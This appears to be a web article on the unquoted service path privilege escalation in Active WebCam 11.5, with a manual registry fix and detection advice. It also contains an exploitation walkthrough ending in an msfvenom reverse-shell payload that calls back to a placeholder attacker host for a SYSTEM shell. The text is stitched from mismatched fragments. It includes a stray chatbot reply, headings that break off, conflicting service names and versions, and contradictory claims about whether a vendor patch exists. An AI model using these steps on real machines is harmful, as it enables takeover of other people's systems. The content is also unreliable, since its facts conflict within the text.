The Active WebCam 11.5 unquoted service path vulnerability (tracked as ExploitDB-50273) is a local privilege escalation flaw that allows attackers with low-level access to gain administrative or SYSTEM rights. While the official vendor, PY Software, has not released a direct patch for version 11.5, the issue is considered "patched" when administrators manually enclose the executable path in quotes within the Windows Registry. Understanding the Vulnerability
In Active WebCam 11.5, the service is installed with a binary path like C:\Program Files\Active WebCam\WebCam.exe without quotation marks.
Windows interprets unquoted paths with spaces as potential execution points. For example, it will attempt to execute files in this order: C:\Program.exe C:\Program Files\Active.exe C:\Program Files\Active WebCam\WebCam.exe
An attacker can place a malicious file named Program.exe in the root directory. When the system reboots or the service restarts, Windows may execute the attacker's file instead of the legitimate webcam software, often with SYSTEM privileges. How to Manually "Patch" Active WebCam 11.5
To resolve this security risk on your machine, you must manually edit the service configuration in the Windows Registry. Step 1: Identify the Vulnerable Service
You can verify if your installation is vulnerable by running this command in an Administrative Command Prompt: active webcam 115 unquoted service path patched
wmic service get name,displayname,pathname,startmode |findstr /i "auto" |findstr /i /v "c:\windows\\" |findstr /i /v """ Use code with caution.
If ACTIVEWEBCAM appears in the list with an unquoted path, it requires a manual fix. Step 2: Apply the Registry Fix Press Win + R, type regedit, and press Enter.
Navigate to the following key:HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\ACTIVEWEBCAM. In the right pane, double-click on ImagePath. Modify the value to include double quotes around the path: Original: C:\Program Files\Active WebCam\WebCam.exe Patched: "C:\Program Files\Active WebCam\WebCam.exe". Click OK and restart your computer to apply the changes. Verification & Remediation
Security researchers from Exploit-DB and VulnCheck recommend that users check their installation settings, as the "Start on Windows Startup" and "Start as Service" options must be enabled for this specific vulnerability to be exploitable. For enterprise environments, you can use Proactive Remediations via Microsoft Intune to automate the quoting of service paths across multiple devices. How to fix the Windows unquoted service path vulnerability
I see you've provided a snippet that seems to relate to a specific software or system vulnerability, particularly mentioning an "active webcam" and a reference to a service path that has been patched. Without more context, it's challenging to provide a detailed response. However, I can offer some general advice on how to approach such a situation, focusing on cybersecurity best practices. The Active WebCam 11
In some patched versions, the vendor also:
Security teams should monitor for exploitation attempts:
The vendor has resolved the issue by properly quoting the service binary path:
Before (vulnerable):
C:\Program Files\Active WebCam\webcam.exe
After (patched):
"C:\Program Files\Active WebCam\webcam.exe"
Enumerate services – wmic service get name,displayname,pathname,startmode
Identify ActiveWebcam115 with unquoted path.
Check write access – icacls "C:\"
If BUILTIN\Users has (W) or (F), exploitation is possible.
Create malicious payload – e.g., Program.exe using msfvenom:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=attacker LPORT=4444 -f exe -o C:\Program.exe
Trigger service restart – net stop ActiveWebcam115 && net start ActiveWebcam115
Obtain SYSTEM shell – The malicious Program.exe runs as SYSTEM, granting full control. Part 8: Detection and Monitoring Security teams should
This exploit was weaponized in multiple red-team exercises and real-world attacks before the patch.
Active Webcam is a popular surveillance and webcam streaming tool used by both home users and small businesses. Version 115, in particular, shipped with a service named something like ActiveWebcamService or WebcamMonitorService. Security researchers discovered that its binary path was unquoted and contained spaces, making it exploitable on any vulnerable Windows machine (7, 8, 10, and even some Server editions).
